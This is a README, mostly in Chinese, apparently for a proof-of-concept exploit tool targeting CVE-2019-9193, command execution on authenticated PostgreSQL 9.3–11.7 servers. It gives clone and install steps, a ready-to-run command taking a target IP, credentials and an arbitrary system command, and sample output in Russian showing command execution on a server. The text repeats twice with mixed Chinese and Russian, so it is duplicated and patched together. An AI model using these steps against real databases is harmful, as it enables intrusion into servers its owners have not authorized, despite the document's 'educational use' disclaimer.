GenPostgresRCEExploit 是一个 PoC 工具,旨在利用特定版本 PostgreSQL(9.3 - 11.7)中经过身份验证的远程代码执行(RCE)漏洞。它允许已认证用户在存在 CVE-2019-9193 漏洞的 PostgreSQL 数据库服务器上执行系统命令。
psycopg2 包)git clone https://github.com/geniuszly/CVE-2019-9193
cd CVE-2019-9193
pip install -r requirements.txt
python3 GenPostgresRCEExploit.py -i <target_ip> -p <port> -d <database_name> -U <username> -P <password> -c "<system_command>"
-i, --ip:PostgreSQL 服务器的 IP 地址(默认:127.0.0.1)-p, --port:PostgreSQL 服务器的端口(默认:5432)-d, --database:PostgreSQL 数据库的名称(默认:template1)-U, --user:用于连接 PostgreSQL 服务器的用户名(默认:postgres)-P, --password:用于连接 PostgreSQL 服务器的密码(默认:postgres)-c, --command:要在服务器上执行的系统命令-t, --timeout:连接超时时间(秒)(默认:10)python3 GenPostgresRCEExploit.py -i 192.168.1.10 -p 5432 -d mydb -U myuser -P mypass -c "whoami"
此示例连接到位于 192.168.1.10 的 PostgreSQL 服务器,使用提供的凭据进行身份验证,并执行 whoami 命令。
$ python3 GenPostgresRCEExploit.py -i 192.168.1.10 -p 5432 -d testdb -U postgres -P mypassword -c "whoami"
[+] Подключение к базе данных PostgreSQL на 192.168.1.10:5432
[+] Соединение успешно установлено
[+] Проверка версии PostgreSQL
[+] Уязвимая версия PostgreSQL обнаружена: 10.4
[+] Создание временной таблицы: temp_3f8b8f9e2c9c11d7bd8f7c61d4e9eaf2
[+] Команда успешно выполнена
postgres
此工具仅用于教育目的和道德测试。未经授权对任何系统使用此工具均属非法行为,并严格禁止。作者不对任何滥用行为承担责任。
GenPostgresRCEExploit 是一个 PoC 漏洞利用工具,旨在利用特定版本 PostgreSQL(9.3 - 11.7)中已认证的远程代码执行(RCE)漏洞。该程序允许已认证用户在存在 CVE-2019-9193 漏洞的 PostgreSQL 服务器上执行系统命令。
psycopg2 包)git clone https://github.com/geniuszly/CVE-2019-9193
cd CVE-2019-9193
pip install -r requirements.txt
python3 GenPostgresRCEExploit.py -i <IP-адрес> -p <порт> -d <имя_базы_данных> -U <пользователь> -P <пароль> -c "<системная_команда>"
-i, --ip:PostgreSQL 服务器的 IP 地址(默认:127.0.0.1)-p, --port:PostgreSQL 服务器的端口(默认:5432)-d, --database:PostgreSQL 数据库的名称(默认:template1)-U, --user:用于连接 PostgreSQL 服务器的用户名(默认:postgres)-P, --password:用于连接 PostgreSQL 服务器的密码(默认:postgres)-c, --command:要在服务器上执行的系统命令-t, --timeout:连接超时时间(秒)(默认:10)python3 GenPostgresRCEExploit.py -i 192.168.1.10 -p 5432 -d mydb -U myuser -P mypass -c "whoami"
在此示例中,程序连接到位于 192.168.1.10 的 PostgreSQL 服务器,使用指定凭据进行身份验证,并执行 whoami 命令。
$ python3 GenPostgresRCEExploit.py -i 192.168.1.10 -p 5432 -d testdb -U postgres -P mypassword -c "whoami"
[+] Подключение к базе данных PostgreSQL на 192.168.1.10:5432
[+] Соединение успешно установлено
[+] Проверка версии PostgreSQL
[+] Уязвимая версия PostgreSQL обнаружена: 10.4
[+] Создание временной таблицы: temp_3f8b8f9e2c9c11d7bd8f7c61d4e9eaf2
[+] Команда успешно выполнена
postgres
此工具仅用于教育目的和合法测试。未经授权对任何系统使用此工具均属违法行为,并严格禁止。作者对任何滥用行为不承担任何责任。